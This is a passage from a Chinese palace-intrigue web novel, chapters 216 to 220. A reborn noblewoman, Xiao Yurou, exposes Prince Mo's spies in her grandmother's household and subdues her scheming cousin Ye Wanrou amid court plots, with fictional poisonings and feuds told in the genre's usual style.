“墨王殿下。”雨清拱手行礼,面色平静,眼底却藏着深不见底的寒意。 “阿清,请坐。”司韶笑得亲切,仿佛他们是多年的故交,“来人,上茶。” 雨清听到这称呼,面色一冷:“殿下所说的计划,可否告知?若不然,下官便要回大衍了。” “何必这么着急?”墨王示意人取来一个檀木匣子,“这是一件宝物,只要让岑陌服下...” “蝮虺?”雨清冷笑,“就凭这个?” “这玩意可是稀罕货。”墨王解释道,语气中带着几分得意,“这是我用秘术炼制的神物。只要岑陌服下,我便能操控他谋反。到时候,你我各取所需。” 雨清将信将疑:“世上只有相思蛊才能迷惑人心...” “你知道的太少了。”墨王循循善诱,“皇帝为何如此忌惮蝮虺?连根都要铲除干净?就因为蝮虺能迷惑人心,而我这只,最是厉害。” “岑陌不是好糊弄的。”雨清眉头微皱。 “所以要从他身边人下手。”墨王意有所指,“比如,那位乐宁县主萧语柔。” 雨清接过匣子,转身离开。出了墨王府,他冷笑一声,悄然去了穆府。想要岑陌死的,可不止一个。他倒要看看,这场大戏,究竟会如何上演。 消息很快传到了萧语柔耳中。她正坐在院中赏花,听完丫鬟的禀报,轻描淡写地说,“让他来。若是敢来,就让他有来无回。” 丫鬟退下后,萧语柔站起身,走到梨花树下。花瓣纷纷扬扬地落下,却衬得她眼中寒意更甚。她知道,这不过是开始。墨王府的动作,定王府的异常,还有那个神秘的大衍使者...... 就在这时,一阵急促的脚步声传来。 “县主!”丫鬟慌慌张张地跑进来,“定王府来人了!” 萧语柔转过身,嘴角勾起一抹意味深长的笑:“来得倒是快。” 与此同时,定王府内。 岑陌站在书房窗前,看着院中的梨花纷飞。他手中握着一封密信,上面写着:“蝮虺已至,请王爷务必小心。” 他将信件烧掉,看着火焰吞噬纸张,十年前的旧事,终究还是来了。 “来人。”他淡淡开口,“去请乐宁县主。” 萧语柔站在窗前,望着庭院中的一片落叶在微风中打着旋儿,最终轻轻落在青石板上。院中的海棠花开得正好,粉白相间的花瓣随风飘散,为这个初春增添了几分生机。 她的目光虽落在庭院,心思却早已飘向了远方。 巫山的神秘莫测,她可以理解。那里终年云雾缭绕,传说中藏着无数修行者的秘密。但谭北这个人,表面看起来平平无奇,一副书生模样,真的有那么大的能耐吗? 记忆中前世的画面不断在眼前闪现。叶婉柔正是因为攀上了谭北这根高枝,才从一个人人喊打的过街老鼠,摇身一变成为了最后的赢家。那时的叶婉柔,不知使了什么手段,竟然能让谭北对她言听计从。 “小姐,您看这些线索......”紫萱轻声唤回了萧语柔的思绪,将几张写满密密麻麻字迹的纸铺在桌上。 萧语柔收回思绪,在案前坐下,低头细看起来。烛光在她白皙的脸上投下摇曳的阴影,映得她的神情忽明忽暗。 整整一夜,她和紫萱将所有可疑的事情都画成了图谱,试图找出其中的关联。从叶婉柔突然消失的那天起,到最近龙都里的种种异常,再到巫山的传闻。 越看越觉得心惊。 这些看似毫无关联的事情,竟然隐隐透着一股诡异的联系。就像是有一只无形的手,在暗中操控着这一切。每一步都精心设计,每一招都环环相扣。 “龙都这潭水,越来越深了。”萧语柔轻叹。 紫萱正要说话,外面突然传来一阵欢呼声,打断了屋内凝重的气氛。 “小姐,二公子的科考成绩出来了!”紫萱一阵风似的跑进来。 萧语柔嘴角微微上扬。她早就用轻功去看过皇榜,叶辰竟然考中了前十名。没能跻身榜首三名,对比曾经名落孙山,这已是天翻地覆的变化。 老夫人闻讯大喜,立即吩咐在府上摆宴庆贺。府中上下忙碌起来,处处洋溢着喜气。 宴会当日,宾客盈门,贺礼不断。萧语柔换上一身淡青色的裙装,发间只簪了一支白玉簪子,素雅中透着几分贵气。 见秦氏那边有叶琳帮忙,她便与岑燕燕去了后院招待女眷。两人刚走到花园,就听见廊下传来一道尖锐的女声。 “真是稀奇,侯府二少夺得功名,陪在身边的却不是亲妹妹,而是个外人。” 第二百一十六章 演戏 说话的是个年轻女子,一身鹅黄色衣裙,手中摇着一把白玉骨扇,正挑着下巴打量萧语柔,眼中满是轻蔑。她身边的丫鬟也是一副趾高气扬的模样。 “你放心,我懒得跟她掐架,只是说句公道话罢了。”那女子摇着团扇,扬长而去,留下一串刻意的笑声。 岑燕燕气得脸都红了,就要冲上去,被萧语柔一把拉住。 “那是谁?”岑燕燕咬牙切齿地问。 “韩芷凝,韩霄的堂妹。”萧语柔淡淡道,“最近才来龙都,马上就能当上太子的侧妃呢。” “这种人也配......” 萧语柔打断她的话:“她在韩家姊妹众多,母亲早逝,继母又不是善茬,却能稳坐大小姐之位,你说为什么?” 岑燕燕一愣,似乎明白了什么。 “她看似跋扈,实则精明。大智若愚,扮猪吃虎的本事,比我只强不弱。”萧语柔轻声说道,目光落在远处的湖面上。 岑燕燕恍然大悟:“难怪你拦着我。” 湖畔处,韩芷凝等了许久,也没等到有人来找麻烦。她暗自咬牙,正要离开,却撞上了一个人。 抬头一看,顿时怔住。 那人一身玄色锦袍,面容俊朗,眉宇间带着几分清冷之气,正是定王岑陌。 “小姐,那是定王爷,并非太子殿下。”丫鬟青黛小声提醒,生怕主子闹出笑话。 韩芷凝回过神来。 她当然知道那是定王。 师父说过,此人才是真龙天子,是两世气运加身之人。那么,那件神物,会不会就在他身上?否则他的腿,怎么可能痊愈? 紫萱将这一幕看在眼里,立即回去禀报萧语柔。 “让郗澜去查查她的底细。”萧语柔吩咐道,手指轻轻敲击着桌面,“尤其是她来龙都之前的事。” 话音未落,一个丫鬟匆匆而来:“四小姐回来了,还带着月棋姨娘和孩子!” 萧语柔看了眼这个叫叶馥的丫鬟,淡淡道:“既是四姐姐和月棋姨娘回府,你去向老夫人和舅母通传一声罢了。为何要来告诉我?” “婢子不过是琢磨着,老夫人和夫人都听您的......”叶馥低着头,声音越来越小。 “哦?”萧语柔笑了,眼中却没有笑意,“什么时候她们这么听我话了?你这番言论若是散布出去,岂不是让人以为外祖母老糊涂了?” 一旁的郗韵放下茶盏,冷冷地看着叶馥:“看来晏夫人是真病了,连个传话的丫鬟都管教不好,若是在我怀远伯府,早就打了嘴巴轰出去了。” 叶馥吓得跪地求饶,额头直接磕在地上。 萧语柔让紫萱带她去回话,自己则陷入沉思。叶婉柔能悄无声息地回到龙都,背后必有高人相助。而韩芷凝的出现,又给这盘棋添了新的变数。 此时,叶婉柔一身褴褛,蓬头垢面地站在众人面前。她原本光洁的脸庞上沾满泥污,发髻谷乱地散在肩头,身上的衣裳也是破破烂烂,沾满了泥泞。 她身旁的月棋同样是一副风尘仆仆的模样,怀中抱着一个不停啼哭的婴儿。婴儿的哭声在这喜庆的宴会上显得格外刺耳,惹得宾客们纷纷侧目。 这突如其来的一幕,让前来参加宴会的宾客们都愣在原地。有人窃窃私语,有人皱眉不悦,更多的人则是带着看热闹的心态,等着事态的发展。 叶辰站在主位上,眉头紧锁:“婉柔,你这是...” “哥哥!”叶婉柔猛地跪倒在地,泪水顺着脸颊滑落,将脸上的泥污冲刷出道道痕迹,“你是想看着我死在乡下吗?” 她的声音凄厉而绝望,在院中回荡:“祖母把我送去庄子,那些奴仆对我拳打脚踢,抢走我所有的东西,还逼我做牛做马。他们说这都是老夫人的意思,要我死在那里!” 周围的宾客更加躁动,低声议论着这突如其来的变故。有人摇头叹息,有人冷眼旁观,更有甚者已经开始打探起侯府的家务事。 “你可知道,”叶婉柔抬起头,眼中含泪,“他们让我睡牛棚,吃剩饭,连一件像样的衣裳都不给我。冬天的时候,我只能蜷缩在稻草堆里,盼着天快点亮。” 说着,她猛地撸起袖子,露出满是伤痕的手臂。有些伤口已经溃烂,散发着腥臭的气味。在场的几位夫人见状,都忍不住掩住口鼻,露出厌恶的神色。 萧语柔站在人群中,冷眼旁观这一切。她注意到叶婉柔说话时眼底闪过的算计,那些眼泪来得太过刻意,动作也太过做作。这分明是一场精心策划的闹剧。 “一定是那些下人胆大妄为。”叶辰沉声道,“你先去休息,我会严惩他们。” “休息?”叶婉柔发出一声凄厉的笑,笑声中带着几分癫狂,“哥哥有了新妹妹,就不要我这个丢人现眼的亲妹妹了是吗?” 她踉跄着站起身,泪水不停地往下掉:“爹娘都走了,就连你也抛弃我,我活着还有什么意思!” 话音未落,她就朝着假山冲去,似乎要一头撞上去。几个眼疾手快的下人连忙上前拦住她,她却挣扎得更加厉害。 “婉柔,你这是何必...”叶辰上前一步,语气中带着无奈。 “何必?”叶婉柔瘫坐在地上,发出一声冷笑,“都是祖母害的!她只疼爱亲生女儿的孩子,逼死了我爹娘,现在连我也要死,就剩下一个被蒙在鼓里的哥哥!” 这话一出,在场的宾客都倒吸一口冷气。这等大逆不道的话,竟然当着这么多人的面说出来。 萧语柔看向老夫人,只见她脸色苍白,嘴唇微微发抖。 “婉柔,你哥今天大婚的日子。”秦氏急忙上前,试图平息事态,“有什么事回头再说。” “我死了不是正好如你们的意?”叶婉柔冷笑着看向秦氏,眼中满是恨意,“要不是父亲把晏澜娘俩带回府,侯府之位早就是你们的了吧?” 这话像一把利剑,直指秦氏的要害。秦氏脸色一白,连连后退几步。 老夫人缓步走来,看着叶婉柔,眼中满是疲惫:“你回来了就好好休息,有什么事明日再说。” “休息?”叶婉柔站起身,一把拉住月棋的手,“孙女这就成全您的心愿!” 话音未落,她便拽着月棋和婴儿一同朝湖中跳去。湖水激起巨大的水花,婴儿的哭声戛然而止。 “救人!”叶辰第一个跳下水,其他人也纷纷行动起来。 萧语柔却注意到,叶婉柔跳湖时的位置,恰好是水最浅的地方。而且她跳下去的姿势,也不像是真要寻死,反倒像是在表演。 老夫人看着这一幕,踉跄后退几步,一口鲜血喷出,昏倒在地。 “快扶老夫人回房!”萧语柔立即吩咐道。 第二百一十七章 墨王细作 待众人将叶婉柔救上来,萧语柔已经带人将老夫人送回福寿堂。她站在院中,看着跪在地上的下人们,眼神冰冷。 “将下午在福寿堂当值的人都叫来。”萧语柔吩咐道。 很快,七八个下人站在院中,个个低着头,不敢看萧语柔的眼睛。 “全部打十板子,发卖出府。”萧语柔淡淡道,语气中不带一丝感情。 “凭什么!”名叫青棠的丫鬟突然叫道,“我们又没做错什么!” “那就二十板子,卖得远远的。”萧语柔看着她,眼神愈发冰冷,“若再让我看到你,连带人牙子一起发卖。” “七小姐还是说个理由吧。”另一个丫鬟低声道,语气中带着几分畏惧。 紫萱上前一步,冷声道:“下午我带叶馥来传话,夫人可是答应过绝不找四小姐,为何最后还是去了?以至于吐血昏迷?” 几个下人面面相觑,缓缓垂下脑袋。他们心知肚明,这是被人收买了,故意让老夫人去见叶婉柔。 萧语柔看着这些下人,心中已有定论。这场闹剧显然是精心策划的,而叶婉柔,不过是一枚棋子罢了。 她转身看向躺在床上的老夫人,心中暗自叹息。这场风波,恐怕才刚刚开始。 青棠站在院中,秋日的风卷起几片落叶,她咬着下唇,眼底闪过一丝不安,却强撑着倨傲道:“夫人才是这儿说了算,主子自己的决定,凭什么要怪到我们头上?” 她的声音微微发颤,指甲不自觉地掐进掌心。院子里其他几个丫鬟也低着头,不敢吱声。秋日的阳光斜斜地洒在地上,拉出长长的影子。 紫萱冷冷扫了她一眼,眸中寒意渐起:“你倒是会狡辩。有人亲眼看见,就是你们几个在老夫人面前挑拨离间。若不是你们在中间传话,老夫人怎会知道四小姐在外面如何咄咄逼人?又怎会知道她污蔑老夫人偏心,还要寻死觅活?” “这些都是道听途说,就凭这些风言风语,也想定我的罪?”青棠梗着脖子,语气愈发不屑,“我不服!” 萧语柔站在廊下,一袭淡青色衣裙,面容清冷。她缓步走下台阶,每一步都仿佛踩在青棠的心上。 “在墨王身边待久了,就忘了自己是个奴婢?”她的声音不疾不徐,却让青棠浑身一颤,“我说要罚你,还轮不到你来服不服。来人,拖下去重打!” 青棠脸色瞬间惨白,嘴唇颤抖着想说什么,却被两个婆子拖了下去。 院子里鸦雀无声,只有板子落下的闷响,连针落地的声音都能听得一清二萧。其他丫鬟噤若寒蝉,生怕自己也被牵连其中。 墨王细作四个字在众人心中炸开,有人偷偷打量着身边的同伴,不知道还有多少人藏着不为人知的身份。 等这几个人都被处置完,萧语柔便去了老夫人房中守着。屋内檀香袅袅,老夫人躺在床上,面色苍白,眉头紧锁。 “祖母,喝些参汤吧。”萧语柔亲自端着汤碗,轻声劝慰。 老夫人微微摇头:“心里烦闷,什么都吃不下。”她叹了口气,“婉柔那孩子,怎么就变成这样了?” 萧语柔放下汤碗,握住老夫人的手:“祖母别想太多,好好养身子要紧。” 夜色渐深,一个粗使婆子鬼鬼祟祟地往外溜。月光下,她的身影显得格外慌张。 “这么晚了还要去赌钱?”洒扫的婆子拦住她,好心提醒,“小心撞上七小姐。” 那婆子身子一僵,随即挤出笑容:“搓两把麻将就撤,保证不会耽误明早的活计。” 她出了角门,直奔巷口茶摊。装作漫不经心地坐下,点了壶茶,与茶摊老板闲聊起来。 “听说府里最近不太平啊。”茶摊老板递过茶碗,意有所指。 婆子压低声音:“可不是么,老夫人病倒了,四小姐和七小姐闹得不可开交。”她东张西望,“还抓了几个丫鬟,说是细作。” 茶摊老板的儿子很快消失在夜色中,冲去西边那家赌场。赌馆门前灯火通明,醉汉们东倒西歪,没人注意到他的行踪。 郗澜在暗处等了许久,终于看见有人从赌馆出来,摇摇晃晃地进了墨王的庭园。月光下,那人的身影显得格外鬼祟。 “狡兔三窟。”他冷笑一声,放出一支烟花。 暗处的人立即上演了一出抢劫戏码,冲进墨王庭园。巡逻的玉麟卫闻声而至,一场混乱在所难免。 郗澜回去向萧语柔复命:“剩下的就看定王了,我们最好不要插手。” “把月棋带来。”萧语柔径直往福寿堂后的柴房走去。夜风吹动她的衣袂,月光下她的身影显得格外清冷。 月棋被郗澜扔进柴房,看清是萧语柔后松了口气,强装镇定:“七小姐有话直说便是,何必如此大动干戈?” 话音未落,紫萱已经捏着她的下巴,逼她吞下一枚药丸。柴房里弥漫着木屑的气息,混合着萧语柔手中香袋散发出的奇异香气。 “啊——”月棋痛苦地蜷缩在地上,仿佛五脏六腑都在燃烧。她的指甲在地上抓出道道痕迹,冷汗浸透了衣衫。 “你给我喂了啥玩意?”她想抓住萧语柔的衣裳,却被紫萱一脚踩住手背。月光从窗缝中漏进来,照在她扭曲的面容上。 月棋咬牙切齿:“你是要杀我,还想整我是吧?” “终于露出真面目了?”萧语柔嘴角微勾,“装了这么久的温顺,也该累了吧?” 待香气渐淡,月棋的痛苦也减轻了些。她换上一副柔弱的表情,眼中含泪:“七小姐,不如我们重新合作?我已有了身孕,不过是想为孩子谋个出路。只要你帮我,我可以告诉你所有秘密。” “不必了。”萧语柔轻笑,“就凭你的身份,能知道什么核心机密?无非是叶婉柔与墨王勾结,叶成林尚未死去这些。这些,我自己也能扒出真相。” 月棋脸色大变:“你诈我!”她挣扎着想要起身,却被药力压制,只能瘫软在地。 “连这点小把戏都能上当,墨王怎会真心重用你?”萧语柔转身往门口走去,月光在她身后拉出长长的影子,“你体内的毒,只有我能解。若你安分守己,看在你腹中胎儿的份上,我不会要你小命。但若有二心,你会后悔活在这世上。” “你不想我帮你对付叶婉柔?”月棋冷笑,声音嘶哑,“她这次是冲着老夫人来的,你难道不想报复?” “那就睁大眼睛看看,她能不能得逞。”萧语柔的声音飘散在夜风中。 第二百一十八章 叶婉柔 她离开柴房,径直往长春院而去。月光下,她的身影显得格外坚定。院中的秋菊在风中轻轻摇曳,仿佛在诉说着什么不为人知的秘密。 紫萱跟在她身后,低声道:“小姐,要不要派人盯着月棋?” “不必了。”萧语柔淡淡道,“她现在就是笼中之鸟,插翅难飞。” 夜色渐深,府中灯火渐渐熄灭。只有老夫人房中的灯还亮着,映照出窗上的人影。萧语柔站在院中,抬头望着那扇窗。 远处传来更夫的梆子声,打破了夜的寂静。 “你想做什么?”叶婉柔下意识地后退几步,直到后背抵在了冰冷的墙壁上。 萧语柔没有回答。下一瞬,寒针如闪电般刺出,准确无误地击中了叶婉柔眉心的穴位。 “你......”叶婉柔瞪大了眼睛,喉咙里发出含糊不清的声响。她想说什么,却发现自己连一个完整的音节都无法发出。她的四肢开始发软,像是被抽走了所有力气,整个人无力地滑倒在地上。 萧语柔居高临下地看着她,眼神冷得像寒冬腊月的冰:“两世孽债,今日便一笔勾销。” 叶婉柔不明白这句话的含义,只能绝望地看着萧语柔的身影渐渐消失在门口,意识也随之坠入无边的黑暗。 夜色渐深,萧语柔回到自己的房中。青瓷酒壶里的果酒正在温着,散发出淡淡的果香。她刚坐下没多久,外面传来轻微的脚步声。 “王妃。”郗澜的声音从门外传来,“有新消息。” “进来说。”萧语柔给自己倒了一杯温热的果酒。 郗澜推门而入,脸上带着几分兴奋:“玉麟卫已经找到墨王在龙都活动的证据,现在证据已经呈递御前了。”他啧啧称奇,“定王爷的动作真快,他手下居然掌握了这么多墨王府的细作名单。不光是宁远伯府,就连东宫和皇宫都有他们的人。” 萧语柔望向窗外,此时已是寅时,天际泛起鱼肚白。晨露在窗棂上凝结成珠,映着微弱的天光。她轻轻抿了一口温热的果酒,酒液滑过喉咙,带来一丝暖意。 “墨王这些年在龙都经营的势力,比我们想象的还要庞大。”萧语柔放下酒杯,“不过现在证据确凿,他就算有通天的本事,也难逃一劫。” 郗澜点点头:“确实如此。不过王妃,您说墨王会不会狗急跳墙?” “他若是聪明,就该知道什么该做,什么不该做。”萧语柔眼中闪过一丝冷意,“若是不知进退,那就别怪我们心狠手辣了。” “王爷即将前往西北九州,这是他早就布下的一步棋。”萧语柔又倒了一杯酒,酒液在杯中荡漾,“他要亲自去牵制墨王,保龙都无虞。” 郗澜撇了撇嘴:“王爷一走,那些蛰伏的老狐狸肯定按捺不住要动手。” “正好,让他们露出马脚。这些年来,他们不是一直想要看看我的底牌吗?” 天色渐亮,院子里传来仆人急促的脚步声。 “王妃,老夫人醒了。” 萧语柔放下酒杯,整理了一下衣裳,匆匆赶去看望。老夫人的房间里已经聚集了不少人,秦氏正在床边照料。 “外祖母,感觉如何?”萧语柔走到床前,轻声问道。 老夫人虚弱地笑了笑:“没事,就是有些头晕。”她的目光扫过房间里的众人,“你们都别担心,老婆子我福大命大。” 叶婉柔昏迷的消息很快传开,但没人怀疑到萧语柔头上,只有月棋心知肚明。当月棋抱着孩子来探望时,对上萧语柔冰冷的眼神,不由得打了个寒战。那眼神里蕴含的威胁之意不言而喻。 秦氏提出要接老夫人去养病,却被老夫人婉拒了。 “我住惯了这里,就不挪窝了。”老夫人慈祥地说,“你们常来看看我就好。这把年纪了,实在不想再折腾。” 萧语柔心疼地看着外祖母,知道她是怕给家人添麻烦。老人家总是这样,宁愿自己受委屈,也不愿麻烦别人。 不多时,定远公一家也来探望。萧语柔注意到钱涛的气色很差,整个人都笼罩着一层死气,脸色苍白得吓人。 “七妹妹,许久不见。”钱涛坐在石桌旁,明明已是暮春时节,他却还裹着厚重的斗篷。他的声音也变得沙哑,像是生了场大病。 萧语柔正要替他诊脉,他却躲开了。“我没事,只是风寒未愈。”钱涛勉强笑道,“听说七妹妹要成亲了,不知喜欢什么礼物?” “殿下何必挂怀。”萧语柔淡淡地说。 “七妹妹还是这般疏离。”钱涛苦笑,“放心,我虽未能释怀,但也知道分寸。只是......”他的话没说完,就被院外的脚步声打断。 岑陌出现在院中,今日一身月白华服,乌发半束,腰间白玉生辉,举手投足间尽显风华。阳光洒在他身上,给他镀上了一层柔和的光晕。 萧语柔看得有些出神,连钱涛的表情都没注意到。直到岑陌走到她身边,她才回过神来。 “王爷。”她轻声唤道。 岑陌微微颔首,目光在钱涛身上停留了片刻,随即转向萧语柔:“听说老夫人病了,特来看望。” 钱涛站起身,向岑陌行了一礼:“定王殿下。” 岑陌点点头,算是回应。院子里的气氛一时有些凝重,连鸟儿的啼叫声都显得格外清晰。 “王爷,我带您去见外祖母。”萧语柔打破了沉默。 岑陌跟着她往内室走去,经过钱涛身边时,他淡淡地说了一句:“大公子若是身体不适,不如早些回府休息。” 钱涛的脸色更加苍白了,他勉强挤出一个笑容:“多谢王爷关心。” 萧语柔看着岑陌的背影,心中五味杂陈。她知道,这场暗流涌动的较量才刚刚开始。墨王、长公主、太上皇,每一个都是不容小觑的对手。而她和岑陌,必须步步为营,才能在这场博弈中存活下来。 第二百一十九章 沈氏挑事 老夫人的房间里,岑陌正在和老夫人说话。萧语柔站在一旁,看着窗外的海棠花随风摇曳。春日的阳光温暖而明媚,却驱散不了她心中的阴霾。 “你若是有话,直说便是。”萧语柔站在庭院里,一袭淡青色长裙随风轻拂,她神色淡然地看着眼前的沈氏,语气平静却带着不容置疑的威严,“我很忙,没那么多时间在这里与你闲聊。” 院中的海棠开得正盛,粉白的花瓣随风飘落,却衬得这气氛更加凝重。沈氏穿着华贵的锦缎,却掩饰不住眼中的怒意,她深吸一口气,努力压制着内心的不快。 “好一个高高在上的县主,”沈氏冷笑一声,“我今日来的意思很简单,恳请您家千金离我家公子远点。” “夫人说笑了,”萧语柔微微挑眉,“我何时主动接近过钱公子?倒是夫人,一大早就来找我,不知旁人会作何感想。” “你!”沈氏咬紧牙关,指节因用力而发白,“装什么清高!女人勾引男人的手段多的是,我儿整日念叨着你,要不是你背后搞小动作,他怎会像丢了魂似的?” 萧语柔听得好笑,目光在沈氏脸上扫过。这世上的母亲大抵都这般偏心,儿子做错事也要怪到别人头上。她轻轻摇了摇头,眸中带着几分讥诮。 “说到底,夫人是觉得天底下的男人都是好的,坏事都是女人做的,对吗?” 沈氏被她这话噎住,脸上一阵青一阵白。院中的风忽然大了起来,吹得海棠花瓣纷纷扬扬,落了满地。 “县主,你一个未出阁的女子,整日在外抛头露面,虽生得好看,却不该用这张脸到处勾人...”沈氏咬牙切齿地说道,眼中满是轻蔑。 “够了!”萧语柔冷声打断,眸中寒光乍现,“夫人身为长辈,说出这等市井之词,若传出去坏了我的名声是小,连累定远公府的声誉才是大事。夫人可要想清楚,这事因谁而起。” 这话正戳中沈氏的痛处。她本就出身商贾,一直被京中贵妇们看不起。如今被一个小辈当面点破,更是恼羞成怒。她的手指因愤怒而微微发抖,面色铁青。 “放肆!你这般目中无人,等嫁入宁国公府,有你好看!”沈氏几乎是咆哮着说出这句话。 萧语柔淡淡道:“那是我的事。”说完,转身离去,裙摆在风中翩然,带起一阵花瓣旋舞。 紫萱快步跟上,低声提醒:“国公夫人怕是要将此事宣扬出去。” “随她。”萧语柔轻声吩咐,目光望向远处的天际,“以后见到齐家兄弟,绕道走。” 与此同时,钱涛从岑陌那里出来,就听说母亲晕倒的消息。他眉头紧锁,心知肚明,这不过是沈氏的苦肉计罢了。庭院里的下人来来往往,脸上都带着几分担忧。 “王爷,小的替家母给您二位磕头认错了。”钱涛站在岑陌面前,微微躬身。“本王不想再见到类似的事。”岑陌坐在案前,手指轻轻敲击着桌面,语气森冷,“否则,只能亲自去拜访令堂了。” 钱涛听出其中威胁之意,默默应下。他的手指微微蜷缩,指甲深深陷入掌心,却感觉不到疼痛。 回到后院,沈氏躺在床上装病。见到儿子来了,立刻开始诉苦:“潇儿,娘是为了你好...”她的声音带着几分哽咽,眼角还挂着泪珠。 “母亲,”钱涛打断她的话,“您想说什么?” “你也到了该成家的年纪,”沈氏撑着身子坐起来,“你表妹温柔贤淑,最是适合...” “母亲的意思是要我娶表妹?”钱涛眼中闪过失望,“也好,就依母亲所言。只是往后,请母亲别再去找七妹妹的麻烦。” 沈氏愣住了,没想到儿子会这么痛快地答应。她张了张嘴,想说什么却又说不出口。 钱忠闻讯赶来,拦住正要离开的钱涛:“哥,你真要娶表妹?” 钱涛抬头看向天空,乌云正在聚集,像是要下一场大雨。远处传来隐隐的雷声,空气中弥漫着潮湿的气息。 “辛弟,有些事情,不是我们能决定的。”钱涛的声音很轻,却带着说不出的苦涩。 钱忠还想说什么,却被一阵急促的脚步声打断。一个小厮匆匆跑来,说是宁国公府派人来了。 竹林后,林妈妈站在岑陌身边,眼中带着询问:“王爷,钱涛此人可信?” “可用。”岑陌淡淡道,目光望向远处,“派人盯着沈氏,有异动即刻禀报。” 林妈妈应声退下,留下岑陌一人站在竹林中。风吹过,竹叶沙沙作响,像是在诉说着什么。 萧语柔站在自己的院子里,看着天边聚集的乌云。她知道,这不过是开始,更大的风暴还在后面。紫萱端来一盏茶,轻声说道:“小姐,要不要准备些伞?” “不必了。”萧语柔摇摇头,“有些雨,终究是要淋的。” 远处传来一声惊雷,震得院中的花瓣纷纷落下。雨,终于下了起来。 暮春时节的雨丝渗人心骨,紫萱撑着伞,小心翼翼地扶着萧语柔。雨点打在油纸伞上发出密集的声响,冰凉的水珠不时飘进来,沾湿了萧语柔的衣袖。 “小心台阶。”紫萱轻声提醒,伸手为萧语柔挡开垂落的雨帘。 众人飞奔至廊下躲雨,躲避着倾盆而下的雨点。廊下的灯笼被风吹得摇晃,在地上投下摇曳的光影。 “小姐,快进屋换身干衣裳吧,别着凉了。”紫萱关切地说道,取过帕子为萧语柔擦拭被打湿的发梢。 萧语柔点了点头,目光却依旧停留在雨幕之中。雨水冲刷着庭院里的花草,将那些娇嫩的花瓣打落在地,零落成泥。 这场大雨,让她想起了前世的种种。记忆如潮水般涌来,令她不由得蹙起眉头。 那时也是春闱之后,一场暴雨引发了河堤决口,冲毁了城外的农田。百姓们在收拾残局时,意外发现了一处地下宫殿。那规模之大,足以与皇家陵寝媲美。 正当众人议论纷纷之际,太后却突然驾崩。后宫顿时陷入一片混乱,洛贵妃的黑历史被扒了出来,岑陌也因此入狱。这一切,为将来的反叛种下了祸根。 “小姐?”紫萱见萧语柔站在廊下出神,不由得又唤了一声。 萧语柔回过神来,抬手摸了摸自己微凉的脸颊:“我们进去吧。” 第二百二十章 收买河工 屋内早已备好了干净的衣裳和热水。萧语柔换好衣服,坐在铜镜前让丫鬟为她梳头。镜中的少女面容清丽,眉眼间却透着一丝难以察觉的疲惫。 “给我泡杯姜茶。”萧语柔吩咐道,“再去看看老夫人可醒了。” “是。”丫鬟应声退下。 萧语柔坐在小轩窗前,望着窗外的雨幕发呆。雨水打在窗棂上,传来悦耳的回音,仿佛在诉说着什么。 天色渐暗,郗澜匆匆而来,身上的衣服还在滴水。 “小姐猜得没错,”他压低声音说道,“有人偷偷摸摸在河岸搞鬼。手下不敢随意行动,还在暗中盯着。” 萧语柔轻抿嘴角,端起茶盏,轻轻吹散上面的热气:“查清楚是谁的人了吗?” “还没有,”郗澜摇头,“对方很谨慎,没留下任何痕迹。不过...”他顿了顿,“我们发现有人在暗中收买河工。” “收买河工?”萧语柔眉头微皱,“查到具体是谁在收买了吗?” “还在查。不过有一点很奇怪,”郗澜压低声音,“那些河工收了银子后,都被安排去了不同的河段。” 萧语柔放下茶盏,若有所思:“分散安排,是想让人找不到头绪吗?” “小姐,要不要...” “按原计划行事,”萧语柔打断他的话,“务必小心,别给人留下落人口实的机会。” “是。”郗澜应声,却没有立即离开。他犹豫片刻,还是开口问道:“小姐,宫里真的会翻车吗?” 萧语柔纤细的手指轻轻拂过茶盖,瓷器相碰,响起动听的铃音。她没有回答,只是淡淡地说了句:“去吧。” 郗澜心中一凛,不敢再多言,转身消失在雨幕之中。 与此同时,墨王府。 墨王伫立狂风骤雨之中,任由雨水打湿衣衫。他回头望着巍峨的皇宫,嘴角勾起一抹冷笑。 “皇兄已人到暮年,越发糊涂了。宁可相信豺狼,也不相信我这个装乖的主。可惜啊,可惜。” 他转身上了马车,侍卫低声在他耳边说道:“王爷,叶婉柔昏迷不醒,恐怕凶多吉少。大夫说她体内有剧毒,怕是...” “住口!”墨王厉声打断,“萧语柔,真是个狠辣的女子。看似纯良,实则心如蛇蝎。岑陌的王妃,竟是这般人物,当真可惜。” “王爷,还有一事...”侍卫犹豫道,“程翊的尸体也找到了,被人丢在后巷,身上伤痕累累。看伤势,应该是被人严刑拷打过。” 墨王咬牙切齿,眼中杀意涌动:“让穆秋煜来见我。我倒要看看,他有何等本事,能让岑陌那狼子野心之徒葬身我手!” 马车在雨中缓缓驶离,消失在街角。 七日后,雨停了。 城外的百姓们在收拾农田时,意外发现了一处地下陵寝的入口。消息很快传到了朝廷。 皇帝震怒,命睿王岑涛彻查此事。朝中大臣们议论纷纷,有人说这是祥瑞,有人却说是灾祸的征兆。 就在此时,后宫传来太后昏迷不醒的消息,龙都顿时风声鹤唳。 宁远伯府。 萧语柔给老夫人喂完药,看着她沉沉睡去,才轻手轻脚地退了出来。 叶琳端着蜜饯走了进来,见萧语柔面色疲惫,关切地问:“你昨晚又没睡好?” “无事,”萧语柔摆摆手,“五姐姐的婚期定下了吗?” 叶琳脸颊微红:“钱家送来了三个日子,最快也要等到下月,最远的在九月。” “干脆定在下月如何,”萧语柔笑道,“恰逢春去夏来时,天气宜人,姐姐乘轿去钱府,也不至于太辛苦。” 叶琳心中一动,她深知萧语柔行事向来谨慎。如今却催促自己早日出嫁,想必是龙都将有大变。 “好,那就下个月吧。”叶琳应道,随即又压低声音,“四妹妹那边...” “还是老样子,”萧语柔叹了口气,“大夫说或许要等到夏至后才会醒。” 这时,外间传来通报,说穆夫人来访。 萧语柔起身道:“外祖母,您好生休息。我去看看穆夫人。” 她来到前院,只见穆氏站在门廊下,望着被雨水打落的花瓣出神。那些残破的花瓣散落一地,像极了她此刻的心情。 “夫人今日来访,莫非有什么大事?”萧语柔轻声问道。 穆氏回过神来,“我来看看老夫人,顺便探望婉柔和辰儿。” 萧语柔点点头:“外祖母刚服过药,正在休息。二哥去了衙门,四姐姐还在昏迷。夫人要是感兴趣,我让人带您去四姐姐那里。” 穆氏默默点头,跟着丫鬟离开了。 夜深了,雨又开始下。 萧语柔站在窗前,看着院子里的花被雨水打落。忽然,一阵急促的脚步声传来。 “小姐!”紫萱匆匆推门而入,“宫里来人了!” 萧语柔转身,看着门外撑着伞的太监。 “娘娘口谕,宣萧语柔入宫。” 雨中的宫城巍峨壮丽,却给人一种压抑的感觉。萧语柔坐在马车里,听着外面淅淅沥沥的雨声,心中思绪万千。 